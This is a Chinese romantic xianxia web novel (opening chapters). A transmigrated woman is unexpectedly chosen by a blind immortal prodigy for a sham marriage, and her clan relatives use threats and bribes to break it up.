《宿主,说好的远离魔头呢?》
1. 第 1 章
盈芙一进仙琼苑,就被里面的琳琅花草,珍禽异兽,还有各式各样的美人晃花了眼。
这些美人们三五成群地聚集在一起,弯着明眸摇着小扇,看似愉快轻松地交谈着:
“嗨呀,别吵了,无论简仙君选谁,总归都是玄家人。”
“是呀,大家都是玄家的姐妹,别伤了和气。依我看,简仙君大约会选珍璎妹妹,我们不过是来凑个热闹。”
“那可未必,简仙君要是愿意选她,就不会有这场宴会了……咦?那个是谁?我好像没见过。”
几个美人都看向盈芙,其中一人走到盈芙跟前将她上下打量,然后笑吟吟道:“这是玄家内部的宴会,妹妹若是误入,还请尽快离去。”
盈芙陡然被这么多陌生美人盯着,有点紧张,尽量微笑着解释:“没误入,我也姓玄,名盈芙。”
那个美人想了想,恍然道:“原来是你,听说你自幼体弱,被送到灵药谷养病,没想到这次离这么远也来了。”
没等盈芙解释,她又掩口巧笑道:“虽然盈芙妹妹生得颇美,但到底属于旁支,只是个外门长老的女儿,修为这般低还是个病秧子……妹妹怕是要白跑一趟了。”
盈芙懒得解释了,只淡定地摆了摆手:“不妨事。”
出发前,她“娘”就跟她交代了,简仙君道侣的人选早就定了,她只是过来散心交友的。
几个美人再次聚成一圈,笑语盈盈看似一片和睦,但盈芙懒得过去也懒得听了,挑了个最末尾的空座坐下来发呆:
她好像真的穿越了。
她明明记得自己在加班,不知道为何一睁眼就是这个不讲科学的修仙世界。
虽然按照穿越惯例,她也绑定了一个系统,但那个系统受了重伤,只颤巍巍地告诉她:“你唯一的任务是:【远离魔头活下来】。”
然后它就昏迷了,连魔头的名字都没告诉她。
盈芙从灵药谷回家后,在妹妹盈桃这里打听到了当今第一大魔头:魔尊簪骨,离这里极远。
于是她安下心,当一条悠闲快乐的咸鱼,直到前几天,她娘找到她,兴致勃勃地向她提起这个宴会:“玄家想拉拢简仙君,给他找个道侣,办了场赏花宴,玄家所有适龄女子都能参加,你也去吧?”
盈芙直接拒绝,她不想参加这种选妃一样的相亲,但她“娘”解释道:“简仙君的道侣人选应该早就定好了,这宴会只是走个流程,堵住玄家其他人的嘴,你就只当去散心就好,顺带跟你那些堂姐堂妹认识认识,交交朋友。”
盈芙依然没兴趣,咸鱼只想瘫着。
她“娘”又想起来:“这赏花宴是掌门夫人办的,肯定不错,仙琼苑风景极美,平时进都不让进,听说还聘了顶级厨修来做菜……”
咸鱼馋了,咸鱼来了。
修仙界的顶级厨修,厨艺一定很好吧,呲溜。
盈芙想起自己来这场赏花宴的初心,不由左右乱瞅:怎么还没上菜呢……
忽然,她发现周围瞬间静了,刚才那些聊得火热的美人们仿佛眨眼间都变成了哑巴,纷纷散开落座。
一个雍容华贵的夫人带着一个满脸不悦的美人走了过来,徐徐走到了最前方的座位落座。
这夫人微笑地看着众人,优雅开口道:“人都来齐了。我们虽然都是玄家人,但平日里难得齐聚,近日这仙琼苑的明月荷正好盛开……”
盈芙一听到这些客套话,就自动开始走神发呆,直到那夫人说完话,侍女们鱼贯而入,将一盘盘珍馐佳肴摆到了她面前的桌案上,她才终于眼神聚焦,来了兴致。
她用心欣赏着精美的甜点和色香味俱全的菜肴,忽然听到身旁有个甜美的声音请求献舞。
然后是接连不停的请求献乐献歌献舞的声音……几乎每个人都准备了节目——除了盈芙。
盈芙托着腮,尝着甜香可口的点心,欣赏着在湖面上水袖摇曳如云,笑容明媚生辉的美人,还有流光如梦的明月荷,觉得这场宴会确实没白来。
又欣赏了几个美人精心准备的歌舞,盈芙忍不住想:那个简仙君真有福气,能让这么多美人齐聚一堂献舞献歌。
不过盈芙也听盈桃说过,这个简仙君实在不得了,虽然天生目盲,但容貌极其俊美,气质好似清冷谪仙,关键是他天赋卓越,在这个天才如云的修仙界中还称得上天才中的天才,二十岁就临近飞升,震惊整个修仙界。
也难怪玄家急着给他找个姓玄的道侣了,生怕他哪天突然一飞升,就把玄家丢下面不管了。
不过这些都跟盈芙没关系,她欣赏着美人歌舞,尝着点心佳肴,时不时再喝口小酒,美得咸鱼冒泡。
不过也许是这具身体大病初愈还比较虚弱,也许是美人们的歌舞虽精彩却相似,看久了就有点无聊,也许是因为她喝了两口平时不怎么喝的酒……总之她有点困了。
直接请辞离开动静太大,盈芙打算悄悄小眯一会。虽然知道提醒自己不能完全睡着,但眼睛一闭,睡意一上来,她的头就控制不住一点一点地往下低。
旁边几个美人瞥见她这模样,不屑地摇了摇头。
……
不远处的阁楼中,一面巨大的水镜上映着赏花会的实时情况。
几名云顶宗内门嫡系的玄姓长老端坐于前,将一名神情淡漠的青年围在中间,热烈地向他介绍夸赞着赏花宴中的某几人。
被他们围在中间的青年坐在那像座千年不化的冰山,清冷又疏离,仿佛这一切与他无关。
“溯月呀,有觉得合适的吗?”终于有一个长老忍不住开口询问道。
简溯月沉默不语,他的眼上系着流云纹的轻纱长带,旁人甚至看不出他有没有在“看”水镜。
简溯月的师尊,亦是云顶宗的掌门玄青岚笑着圆场道:“不急,让溯月再看会,还有好几个没展示的吧?”
几个长老虽然不满简溯月的冷漠态度,但对玄青岚的态度很满意:这位掌门也有一位闺女,但他慷慨大方地办了
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这场赏花宴,让他们能坐在这里,人人有机会成为这位即将飞升的天才的岳父。
简溯月虽然不是玄家人,但他可以,不,他必须成为玄家的女婿!这样才能维持住玄家的地位,维持住云顶宗第一门派的地位。
简溯月缓缓抬起修长的手指,瞬间吸引了所有人的注意力。
“溯月有心仪女子了?”
“哎等等,还有几个没展示的……”
几个长老有些激动。
简溯月指向水镜最角落里的一个身影,淡淡开口:“她。”
除了简溯月之外,满屋的人都愣住了:这女子不仅没展示才艺,甚至坐在那里低着头睡着了,此时在水镜中连脸都看不清,而且因为在水镜最边缘,她的样子甚至有点模糊变形。
可见简溯月不是按才艺或者容貌选的人。
那他是按什么选的?
更关键的是,她是谁的孩子啊?!
“这是谁家的娃?”
“不知道啊,没见过,是咱们玄家的吗?”
几个长老面面相觑,掌门玄青岚脸上的笑也僵硬了。
简溯月将手收回袖子,仪态端庄,一言不发,仿佛刚才一字激起千层浪的不是他。
掌门玄青岚尴尬笑道:“这……我先派人核查一下那女子的身份。”
……
盈芙被人摇醒了。
她茫然抬头,因为刚刚睡醒,她眼前还有点模糊。
她揉了揉眼,发现眼前站了一个脸色冰冷的女子,顿时有点害怕:这人是来训她的吗?是因为她不该在这种重要宴席上睡着吗?不会还得通报家长吧……
盈芙一个激灵彻底清醒了。
“你叫什么名字?”那女子冷声问。
盈芙小心翼翼地道:“盈芙,玄盈芙。”
那女子低头看了看手中的卷轴,语气愈发冰冷地同她道:“跟我来。”
盈芙战战兢兢地站起身,心中慌乱:她脸色好可怕,不会真的要罚我吧?!
她紧张害怕地跟上那女子的步伐,没有注意到周围人或惊异或阴沉的脸色。
“居然选了她?!”有人忍不住开口。
其他人也忍不住问道:“为何会是她?”
“她是哪家的?我怎么没见过她?”
“也是玄家的,不过是外门旁支。”
“虽然长得好看,但修为也太低了吧……”
“她刚才还睡着了……”
坐在最前方的那个“不高兴”美人更是直接落下泪来,委屈道:“娘,他还是没选我。”
“别哭,像什么样子。”那雍容华贵的夫人一声冷哼,低声劝道,“以后有的是机会,那女孩命薄,接不住这泼天富贵。”
……
盈芙跟着那女子的脚步,来到了不远处的一处宫殿前,那冷冰冰的女子带着她上了台阶,停在门口,忽然一改语气,恭敬温柔道:“掌门大人,诸位长老,仙君,人带到了。”
2. 第 2 章
盈芙魂都快吓飞了:至于吗,她就眯了一小会,还要让掌门长老和那个仙君来罚她?!
等等,难道是他们这些修为高深的人看出来她不是原身了……?!
盈芙战战兢兢如履薄冰地走进宫殿里,殿中大多数人皆是面色铁青,眼神不善地望着她,看起来随时准备抄起刀剑把她这个“夺舍别人”的“妖孽”除掉。
盈芙不敢吭声,眼前已经开始走马灯回忆自己的一生,尤其是还有什么想吃但没吃到的……呜,还没活够吃够呢。
“你就是玄盈芙?”一个长老不悦地问。
盈芙缓缓点头,眼前走马灯的速度更快了。
又一个清俊男子叹气:“溯月,你真的确定吗?她的根骨天赋很差,与你同是二十岁,她甚至还没筑基。”
盈芙感觉不太对劲,他这话不像是要“降妖除魔”的开场白,倒像是在劝自己的掌上明珠远离黄毛——简溯月是那个掌上明珠,而她是那个黄毛。
等等,这剧情好像不太对……
众人中间,一个眼上系流云纹轻纱长带的少年淡淡点头:“确定。”
“你……罢了。”那个容貌清俊的青年一声叹息,走向门口,接着,旁边一群人也叹息着站起来,缓缓走了出去。
这个过程里,盈芙被瞪了好几眼。
盈芙:“……??”这些人什么情况,她冤枉哇。
片刻后,屋内只剩下她与简溯月两人。
盈芙有点茫然地看着他,一时晃了神:盈桃没说谎没夸张,这位传闻中的简仙君真的像月下谪仙。
他玉冠束发,耳坠明珠,身披仙衣,仪态高雅端庄,贵气天成,虽以轻纱遮目,但更添几分神秘之感,衬得他愈发清冷出尘。
他仿佛乘窗外月光下凡而来,又似自一旁的山水屏风中飞出的仙人,幸有殿内轻轻摇曳的暖黄烛火给他增添了一丝人间的暖意。
简溯月微一抬手,殿门处多了个隔音的法阵。
盈芙回过神,看着眼前清冷若霜雪的仙君,隐约记起这场赏花宴的目的……
不会吧……
盈芙感觉十分荒谬,转而信心满满:这肯定不可能!她都没表演节目!
“在下想请姑娘帮一个忙。”简溯月优雅端庄地站起身。
他的声音清冷如珠玉落冰,语气却是盈芙今晚听过的最客气的。
盈芙也客气问:“什么忙?”
“与在下成为道侣。”简溯月用堪称淡漠的声音,说出快吓死盈芙的话。
盈芙慌了:“这、这不太合适吧……?!”
难怪刚才长老们要这样瞪她……她瞬间质疑理解成为长老了,要搁刚才,她也得瞪两眼自己。
因为她今晚除了吃和睡什么都没做。
她看了看简溯月眼前的轻纱,忍不住想:他该不会真的什么都看不见吧?那么多精心准备多才多艺的大美人他放着不选,来选她?!
简溯月一动不动,就像一个精致的人偶,只有薄唇的开合证明他是个活人:“在下与姑娘仅仅在名义上成为道侣,在下不会冒犯姑娘,更不会与姑娘有道侣之实,而且姑娘随时可以离开。”
盈芙恍然大悟:这算形婚吧?看来这位也是催婚受害者,被逼得没招了。
想起刚才那些美人们和长老们热火朝天的阵仗,盈芙忽然就有点理解同情他了:要被迫在飞升前快速选一个不熟悉的人结婚,他也不容易。
“只是,为何是我……?”这是盈芙仅剩的疑惑了。
简溯月沉默片刻,轻声道:“也许,你是唯一会帮我的人。”
他声音很轻,盈芙莫名从中察觉到了几分萧索寂寥……是错觉吧?
简溯月不再说话,静静站着,等待她的回答。
盈芙突然被美人寄以重望,还有点不好意思。她在脑海中叫了几声系统,但仍然没得到半点回应。
她只能自己快速思索:首先,他一看就不是反派,应该是这本文里的正道主角,那跟主角搞好关系总是没错的嘛,这么厉害的主角,说不定还能帮她解决那个可怕大魔头呢!
其次,她今晚没做什么,只是睡了一会,应该不会对剧情有很大影响,也许原文中就是这样,简溯月选了玄盈芙当道侣,那她不答应就是改变剧情了。
最后,他看起来人品不错,应该能遵守承诺,而且随时可以解除道侣关系的话……应该问题不大吧?
“那……行吧?”盈芙自己也不是很确定。
“当真?”简溯月微微抬头,明珠耳坠与覆目的轻纱都随着轻轻晃动,晃人心神。他的语气终于变了一点,像是万年的寒潭等到了一缕春风,坚冰稍微融化些许。
盈芙目光游移飘忽,但想起这位正道主角好像真的很需要她帮忙。
盈芙下定决心:“当真。”
简溯月静了一会,盈芙感觉好像有视线落在自己身上,他好像在认真地“看”她。
她有点尴尬地看向一旁的山水屏风,随后感觉那视线消失了。
“可以离开了。”简溯月微勾指尖,撤下门口的隔音阵法。
盈芙松了口气,转身正要出去,却发现殿门口竟还有几个不死心的长老在恶狠狠地瞪自己。
盈芙默默往简溯月背后躲了躲:要瞪去瞪他,是他想的主意。
简溯月微微侧头,仿佛在“看”她,然后上前一步,“碰巧”将她挡得更严实了。
“溯月啊,你真的要选她当道侣?”有长老忍不住再次询问。
简溯月微微点头:“真。”
盈芙默默倒吸口凉气,明显感觉屋里冷了好几个度,暴风雨即将更猛烈!
果然,立刻有长老怒气冲冲质问:“我女儿哪里比不上她?!”
还有长老痛心疾首:“小女心仪你多年……都错付了!!!”
也有长老真心不理解:“你图她什么?图她修为低?图她是旁支地位低?图她是外门弟子离得远?总不能只图她一张脸吧?水镜里也看不清她长什么样啊?!”
盈芙在他背后,一脸深奥地摇头:小伙子,你们还年轻,不懂什么叫共患难。
要是没有他们这样的步步紧逼,他未必会找她帮忙。
简溯月又微微侧头,似乎在“看”她,随后淡淡道:“一见钟情,缘分如此,诸位见谅。”
盈芙的心跳漏了一拍,如果不是知道他这是被逼的没招了,差点以为他在深情告白。
她忍不住抬头看他,但只能看到他的后脑勺,然而此刻连他后脑勺的发带与发丝弯曲的弧度都莫名显得深情款款,柔情似水……错觉,一定是错觉!
此人虽然看起来冷,声音也冷,但他说每个字时都有种认真的感觉,很容易让人误会啊……
不行,一定要小心,绝不能误会!牢记这是形婚!心动就输了!
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几个长老看上去气得要当场入魔了,简溯月不急不缓地从他们身旁路过,还礼貌地道了声:“弟子告辞。”
盈芙紧随其后,脑子一抽,也跟着说了声“弟子告辞”。
他们的目光好像更可怕了……
盈芙如芒在背,快走了两步,绕过简溯月的手边,走到了他前头:她帮了他那么大的忙,那种要把人撕碎的可怕目光就拜托他来承受吧!
他不会介意吧?不会吧?
盈芙回头看他,他走得很稳很从容,毫不在意那些目光。
可怕目光对他的杀伤力达到了惊人的零!
盈芙松了口气,他微微歪头,仿佛在问她:怎么了?
盈芙笑了笑,用口型答道:谢谢。
简溯月微愣,静静“望”了她片刻。
盈芙没有注意到他的反应,走下了宫殿台阶,越走感觉眼皮越沉:一放松下来,又开始困了。
她怀疑是上辈子加班欠觉太多,这辈子才会这么容易犯困。
她掩口打了个哈欠,擦了擦眼角困出来的泪花,想起来今晚被安排在“留鹤阁”休息,但是留鹤阁在哪?
原本在宴会中,应该会有侍从带着去,但现在周围没有侍从,只有几位暴怒悲愤的长老和一位天才。
她只能拿这种问题请教身旁的天才:“你知道留鹤阁在哪吗?”
简溯月“嗯”了一声,向她伸出手,手掌与指尖都被他的宽大袖子覆盖。
“哎?要直接带我去吗?”盈芙诧异,简溯月微微点头。
盈芙怀疑他可能是怕她走着走着在路上睡着,干脆直接带她过去,真是一位热心善良的天才,这样的人包是正道主角的!
她将手放上去,指尖能感觉到袖子布料上的流云纹路,还有隔着布料传来的温暖,以及仿佛早春泉水般的清冽灵力。
下一瞬,周围景物陡然变幻,盈芙惊讶地看着眼前悬着“留鹤阁”牌匾的华丽阁楼。
“这么快就到了?这是什么法术?”盈芙好奇问。
简溯月收回手,声音依然冷淡:“千里一步。”
盈芙:虽然听不懂,但感觉很厉害!
“谢谢你呀!”盈芙笑吟吟道,也没指望这位冰山美人回答自己,只是如朋友般同他告别,“那我先进去了,你也早点回去休息呀。”
简溯月微微点头。
盈芙进了留鹤阁,向侍从报了名字。
侍从目光闪烁,假模假样地翻了翻册子,摇头道:“不好意思,贵客来晚了,已经没有空房间了。”
盈芙不解:“怎么会,你再找找,应该已经预订好了?”
侍从轻咳一声:“原来确实有预订,但被取消了。”
盈芙更加疑惑:“谁取消的?这是能随意取消的吗?”
侍从深深看了她一眼:“给你预订的人。”
盈芙:“……?”难道是掌门夫人?!
盈芙暗道不妙。
她想起今晚宴席上见到的那位雍容华贵的夫人,还有一直挽着她胳膊的“不高兴”美人,那是她女儿吧?
她女儿也是冲着简溯月来的?那她现在或许要升级成“超级不高兴”了。
盈芙这才缓缓意识到,今晚上自己的“帮忙”,或许明里暗里得罪了许多人。
取消预定房间,让她今晚无处可去,是掌门夫人给她的第一个下马威。
3. 第 3 章
这些人不敢直接得罪简溯月,最后大概会把账都算到她头上。
盈芙有点怕,但现在比起怕,她更困。
再不睡,她就要从咸鱼变成失去灵魂的咸鱼干了。
盈芙揉了揉眼角,正准备先另找个地方休息,忽然感觉身边多了一个人,随之而来的还有淡淡的清冽松雪香。
侍从神色激动,盈芙诧异向身旁看去,一抹仙气飘飘的月白色映入她眼中,来人竟是简溯月,他没走?
“随我来。”他微微低头,耳畔明珠轻晃,愈发衬得他面如冠玉。
他再次向盈芙伸出手,宽大的月白袖子依旧将他的手覆盖。
盈芙一回生二回熟,将手轻轻放上去,没看到那侍从震惊错愕的神色。
下一瞬,她眼前的景物再次变化:变成了一个雕梁画栋的宫殿。
盈芙好奇打量四周:“这是哪?”
简溯月:“雪玉峰,藏琼宫,送给你。”
盈芙:“……?”
“送、送我?!”
她懵了,彻底懵了。
简溯月微微点头:“赔礼。”
盈芙宕机的大脑一片茫然:“赔什么礼?”
简溯月:“你的麻烦,因我而起。”
盈芙惊讶看他:刚才她与那个侍从的对话,他听到了?并且猜到了原因?
她忽然发现,这位冰玉般的天仙,似乎比看起来要通人情。
“但是这太贵重了,我不能收。”盈芙还想拒绝。
简溯月换了个说法:“谢礼,你帮了我。”
他似乎铁了心想把这宫殿送出来,盈芙依旧拒绝。
简溯月:“聘礼,之一。”
盈芙不知道他还能给这宫殿按多少“礼”的名分,求饶道:“停一停,先让我睡会吧,不然明天就是我的葬礼。”
简溯月:“……好。”他的嘴角弯起一点微不可查的弧度。
盈芙如蒙大赦,简溯月原地消失不知去哪后,她找了个长榻沉沉睡去。
待一觉醒来,她神清气爽地伸了个懒腰,推开窗,映入眼帘的是皑皑白雪,重重高山,漫漫金霞。
盈芙有点分不清这是朝霞还是晚霞,但根据她的入睡时间,排除朝霞,它就只能是晚霞了。
咳,穿越到修仙世界,需要倒时差很正常。盈芙心虚地安慰自己,完全不顾已经穿越了好几天的事实。
她走出房间,数个侍女一齐向她行礼,惊了她一跳。
昨晚来的时候这里好像没有别人吧?
侍女们手上还捧着洗漱用具,新衣,首饰等物品。
盈芙茫然问:“这些是……?”
为首的侍女笑道:“都是简仙君吩咐给您准备的。”
盈芙再次刷新了对那位清冷仙君的认知,他竟还有这份细心?
侍女们服侍她洗漱更衣,又引她来到一处圆桌前,上面摆满了各种甜点菜品!
她已经闻到那诱人的气息了!
盈芙吃得开心,周围的侍女们悄悄看她的眼神却很复杂:
简溯月选择她为道侣的事已经传遍了修仙界,引起极大轰动,几乎每个修仙者都在聊。
谁都没想到简仙君会选择这么个寂寂无名,修为低微的女子当道侣。
再打听到她昨晚在宴席上睡着的事,几乎所有人都认为简仙君真的眼神不好。
还有人怀疑盈芙用了什么妖术才蛊惑了简溯月。
忙着品尝美味的盈芙对此一无所知。
待她吃好,那为首的侍女又道:“仙君已吩咐人备好鹤车,可送姑娘回家。”
盈芙坐上由两只白鹤所拉的车,一开始紧紧扶着扶手不敢动,后来渐渐发现这车还挺稳的。
她逐渐放松,悠悠看夜幕降临,明月初升,星映山川。
飞过几座山后,盈芙终于看到了自己家所在的山:今夜不知何事竟灯火通明。
待更近一些,她发现她家门口,排了一条长队,密密麻麻的人像黑色蚂蚁一样,看得她密恐症都快犯了。
这些人……不会是冲着她来的吧?!
盈芙紧张起来,连忙告诉御车的人:直接把鹤车落在她家后院就好,千万别去门口了。
她妹妹就在后院,一见她就迎了上来,向她贺喜。
不一会,她爹娘也来了,一家人在后院主屋中齐聚团圆,共进晚餐。
不过没几个人的心思在那些饭菜上,盈芙虽然心思在饭菜上,但她刚在琼藏宫吃过晚餐,现在算有心无力。
她娘喜笑颜开:“你知道今天来了多少人道喜吗?!他们送的礼物后院都堆不下了!”
盈芙心虚地笑:谁能想到她和简溯月只是假装道侣呢?
她妹求知若渴:“姐姐姐姐!姐夫真的有传说中那么好看吗?”
盈芙激动拍案:“天人之姿!谪仙下凡!风华绝代!”
她娘和她妹都笑得开心。
她爹目光闪烁:“芙芙,你……真的喜欢简溯月吗?”
盈芙心虚点头,低头喝茶。
跟他才见了一面,哪谈得上什么喜欢不喜欢的。
最多觉得这个人还不错吧。
她爹玄流年似乎发现了她的心虚,眼睛亮了些,追问道:“其实没那么喜欢?”
盈芙微微蹙眉,察觉到了一点猫腻,试探问:“如果没那么喜欢,又如何?”
玄流年惊喜问:“真的?”
盈芙她娘夏明梦和她妹盈桃也都发现不对劲了,夏明梦直接把他筷子没收,严肃问:“你怎么回事?不盼闺女女婿千年好合,你在胡思乱想什么?!”
玄流年犹犹豫豫:“就是,是简溯月选中芙芙的,但芙芙要是不喜欢简溯月,就没
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必要在一起啊,强扭的瓜不甜,他再厉害还能逼咱们芙芙嫁过去吗?”
“你今天中什么邪了??”夏明梦伸手要掐他,玄流年连声道:“夫人饶命,确实还有点别的原因……今天很多人来咱家,有好几个人说,只要芙芙不当他道侣,就送咱们……一些好东西。”
夏明梦气急了,继续掐他:“什么好东西能抵得上这么好一个女婿?!”
玄流年这次没躲,他抬起头,定定地看她:“如果是让我升为内门长老的机会,加入仙盟的机会,以及,一座灵石矿呢?”
一桌都静了。
盈芙没听过灵石矿,但她听盈桃说过,灵石是这个世界的能源和高级货币,而且其中蕴含有灵力,是每个修仙者修炼需要汲取的,灵石矿肯定是十分珍贵的。
盈芙深深震惊了,她发现,有些人为了当简溯月的岳父真是拼了,矿都能拿来送礼?!
玄流年发现其余三人的反应,愈发激动:“如果能有一座灵石矿,咱们家几代都不用愁了!我还能进内门进仙盟,芙芙和桃桃的前程也都不用愁了!夫人,以后你想买什么随便买啊!咱们家的房子也能换成大的了!甚至我还能自己占一座山开一个门派,当上掌门啊……这是我一辈子的梦想……”
说到最后,他竟有些哽咽。
夏明梦哑口无言,盈桃懵懂茫然。
而盈芙有点想笑:昨夜是威逼,现在又来利诱?
这些人,先是逼他做选择,在他做出选择后,又用各种手段逼他改变选择,直到他们满意为止。
他们围在他身边,只想利用他控制他,何曾在乎过他的想法感受?
难怪第一次见到他时,他被那么多长老围在中间,却显得格格不入,难怪他宁愿找她这个陌生人帮忙,还说:“也许,你是唯一会帮我的人。”
他那时的萧索落寞,或许不是她的错觉。
如果她也成了他们的帮凶,他会很难过吧。
而且她感觉,他们的许诺没那么简单。
“芙芙!”玄流年眼神灼热地望着盈芙,“只要你不喜欢他,不跟他缔结道侣契约,我们就能获得一切了!!!”
盈芙“哦”了一声,不好意思地笑道:“可是我喜欢他。”假的,但先按住她爹的念头,让他冷静下来。
除她以外的三人都愣住了,她娘和她妹默契地笑了起来,她爹有些不甘心,追问:“你跟他不是才见一面吗?这就喜欢上了?”
盈芙微笑道:“嗯,一见钟情,缘分如此,爹,见谅。”
玄流年定定看着她,眼睛越来越红,忽然,他哇的一声趴在桌子上哭了出来:“那也行吧,简溯月确实是个好女婿……但是你要是不喜欢他,我们就能拥有一切了……”
盈芙无奈道:“哪有那么简单,爹,你想想,他们跟你说这些好处时,可有给你凭证?”
4. 第 4 章
玄流年陡然愣住,猛地抬头:“没有!对,他们要是只嘴上说说,只是在骗咱们,那咱们就什么都没了!还会被全修仙界嘲笑,背上一个见利忘义,背信弃义的名声!”
夏明梦冷笑:“没那么好听,咱们放着修仙界第一个飞升的女婿不要,被人忽悠地什么都没了,只会被人当成纯傻子,嘲笑个几千几万年。”
玄流年一阵后怕,又忍不住小声问:“可万一我去找他们,他们真愿意给凭证呢……?”
盈芙笑道:“他们要是真愿意用一座灵石矿换跟简溯月成为道侣的机会,是不是说明,简溯月比灵石矿还珍贵许多?不过嘛,我猜他们不会真的给的,不信你去找他们试试。退一万步说,就算他们真给了凭证,也有一万种办法拖着不兑现,你能拿他们怎么办?”
玄流年沉默很久,才长叹:“闺女说的有道理,而且,比起灵石矿,那可是修仙界几万年来的第一天才简溯月啊……”
……
云顶宗。
华美恢宏的升仙宫中,简溯月已经在书房里站了整整一日。
上午,他三师兄谢卓来取文书,见到他就忍不住阴阳怪气道:“哟,这不是师尊最宠爱的小徒弟吗?昨天他老人家还专门为你办赏花宴挑媳妇,今天怎么舍得让你在这罚站?这么多年这是头一次吧?”
简溯月一言不发,一动不动,仿佛不曾听到。
谢卓哼了一声,抱着文书凑近他冷笑道:“你昨晚把师尊和内门长老们都得罪惨了,不知道你到底怎么想的,可能天才的脑子就是不一样吧,不过,我很高兴看见你自寻死路哈哈哈。”
砰——
谢卓被直接弹出了书房外,书房门“啪”的合上了。
谢卓向后踉跄好几步,又快步走到书房门前,推不开门,就隔着门继续嘲讽:“你看不起我,不肯跟我说话是不是?但就算你是万年难遇的天才又如何?就算你即将飞升又如何?不也得被玄家按着头选媳妇吗哈哈哈……我猜,你昨天肯定很不高兴,才故意挑个最差的来气他们对吧?但她还是姓玄,这云顶宗,这个修仙界都是姓玄的说的算,谁让你生来不姓玄?”
书房中毫无动静,屋中的人仿佛什么都没听到。
谢卓等了片刻,见依旧得不到任何回应,跺了跺脚,没趣地抱着文书走了。
又过片刻,云顶宗掌门之子玄珍珑也来了。
玄珍珑今天穿得花里胡哨,走起路来叮铃咣当的,他心情很好地来到书房门口,却怎么使劲也打不开门。
他用力拍了拍门,不耐烦道:“简溯月,我听谢卓说你在这里,你在吧?开门!”
书房中无人回应。
玄珍珑疑惑了一下,但来都来了,他又嘻嘻笑道:“虽然我不喜欢我姐,她脾气确实太差,昨晚一回来又砸了一屋子东西,发起疯连我都砸,但我也得谢谢你不娶我姐之恩,我可不想管你叫大舅哥,更不能让你玷污了我玄家的嫡系血脉。我爹原来还想让你改姓玄,幸好你不同意哈哈哈!”
书房中依旧安静。
玄珍珑也讨了个没趣走了。
到了明月初升时,玄青岚回到宫中书房,走到小徒弟身前,轻叹:“你还没改主意?”
月光飞过窗台落到简溯月身上,仿佛为一尊冰雪雕像披了层月白轻纱。
“雕像”微微摇头,终于开口,冷淡的声音凝成两个字:“不曾。”
“你何必自找苦吃呢?”玄青岚绕着他转圈叹气,越看越恨,“如果你愿意跟我女儿珍璎结为道侣,想要什么得不到,你怎么就看上了那个丫头呢?还有那些内门长老的女儿,哪个差了?都是别人求都求不来的,你可知你昨晚有多不识好歹?错过多少好机会?你不会在故意闹脾气吧?”
简溯月置若罔闻,只道:“诸位长老不会再为难师尊,请师尊应允我与玄盈芙成为道侣。”
“你!”玄青岚被气笑了,“行,你可真是个孝顺徒弟,真会替为师解忧啊!不过你不在乎财宝地位虚名这些东西,她可未必有你这般境界。”
简溯月淡然镇定道:“她与我同。”
玄青岚点头,语气讥讽道:“行,算你‘好眼光’,‘她与你同’,那她家人呢?他们难道能毫无所求?”
简溯月的表情终于有了一丝波动。
玄青岚哈哈笑着,拍了拍他的肩,自信背手离去:“你且过三日再来找我,看她还愿不愿意做你的道侣,师尊再教你一课。”
……
盈芙这三天,不敢出门,连她妹盈桃也不敢出门了:
太多人想看看盈芙是何许人也。
太多人在骂盈芙配不上简溯月了。
还有人给盈芙发出了威胁信:不退婚就去死。
更有人给盈桃托梦,承诺只要她帮忙往她姐茶杯里放点“东西”,好处无数,把盈桃吓得半夜哭醒找盈芙。
虽然盈芙出不了门,但她也乐得不出门。
这三天她每日睡到日上三竿。
醒来精神焕发,吃点爱吃的,与妹妹一起聊天,一起做甜点,赏院中花鸟,逗逗猫狗……她许久没有这般安宁轻松的日子了。
待到了饭点,还能在饭桌上听她爹气愤地骂那群人:“一群骗子!只想空手套白狼,把咱家当傻子骗!根本不打算给凭证!”
听她娘为她打抱不平:“咱们芙芙多好的孩子啊,一群没眼光的瞎子,那眼睛长了不如没长!还是月月好,要不说他是万年难遇的天才呢,虽然他眼睛,呃,用不了,但是眼光那是好得不得了!选咱芙芙是他的福气!”
盈芙和盈桃听得直乐。
第二日,晚饭中,她爹与那群骗子的事竟还有后续。
她爹气愤道:“他们昨天把我当傻子,今天把我当叫花子,他们说要送给咱们的灵石矿居然是个几乎产不出灵石的废矿。”
盈芙一边吃鱼,一边听得啧啧摇头。
这些人一边觊觎简溯月,一边连点血本都不舍得下,还没简溯月自己出手大方呢。
第三日,盈芙喝着排骨汤,听到了她爹与骗子的后续的后续。
她爹神情复杂:“今天他们又来找我了,这次愿意给咱们一座好灵石矿……的分成,据我所知,那座灵石矿确实很不错,灵石产量高成色还好,每年可以分咱们一成,也是很多钱了,顶得上一个小门派一年的开销了。”
“你同意了?”夏明梦准备伸手掐他。
玄流年连忙讨饶:“夫人且慢,没有没有,就凭他们几次把咱家当傻子耍,我就不会同意,而且就像芙芙说的,他们要是立了契约但是就不给咱们,咱们能怎么办,都是自家人,还能闹翻吗?闹翻了,我连这个外门长老都当不了了。”
盈芙惊讶:“自家人?”
“嗯,是你几个叔。”玄流年尴尬道,“他们都是内门的长老,与掌门同出嫡系,咱们这些旁支,他们向来没放眼里的……”
夏明梦心直口快地骂道:“呸,没一个好东西!芙芙,别搭理他们,你既然喜欢月月,他也选了你,这就是天赐良缘啊!”
盈芙心虚点头吃排骨。
玄流年先赞美了自己夫人的英明,又问盈芙:“那你们俩打算什么时候进行誓心仪式?”
盈芙:“不知道……”
她这三日都未与他有联系,不知道他那边情况如何?也会有很多人对他威逼利诱吧?
盈芙筷子一顿:那他会改变想法,另选道侣吗?
‘要问问他吗?’这个念头只冒出了一片芽,便被盈芙掐掉了:顺其自然吧,本来便没什么真感情,不过是互相帮个忙,如果他改变了选择,大约是有不得已的苦衷,何必再问。
盈芙又夹起了一块排骨,忽然听到一阵急促的脚步声从屋外传来。
“简仙君来了!!!”家仆兴奋地喊道。
一桌四人互相看了看,忽然,三个人激动站了起来,盈芙茫然跟着也站了起来。
“啊、这、他、这……”玄流年指着门
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口,话都说不利索了,被夏明梦掐了一下才找回舌头,震惊问,“他怎么突然来了?!”
盈桃很是激动:“快让我见见谪仙姐夫!”
盈芙在走神:他这时候来是做什么?退婚?那她是不是要喊一句“莫欺少年穷”?原剧情有这台词吗?
夏明梦从容不迫地指挥道:“芙芙去换套衣服,桃桃你监督着你姐,让她速度快点,别让她发呆。年年咱俩去前面会会他,先把他稳住。”
盈芙一边被盈桃兴冲冲拉着往外走,一边忍不住回头看她爹娘:什么叫“会会他”?这两位真的靠谱吗?
算了,不靠谱也是她爹娘,凑合过吧,还能换咋滴。
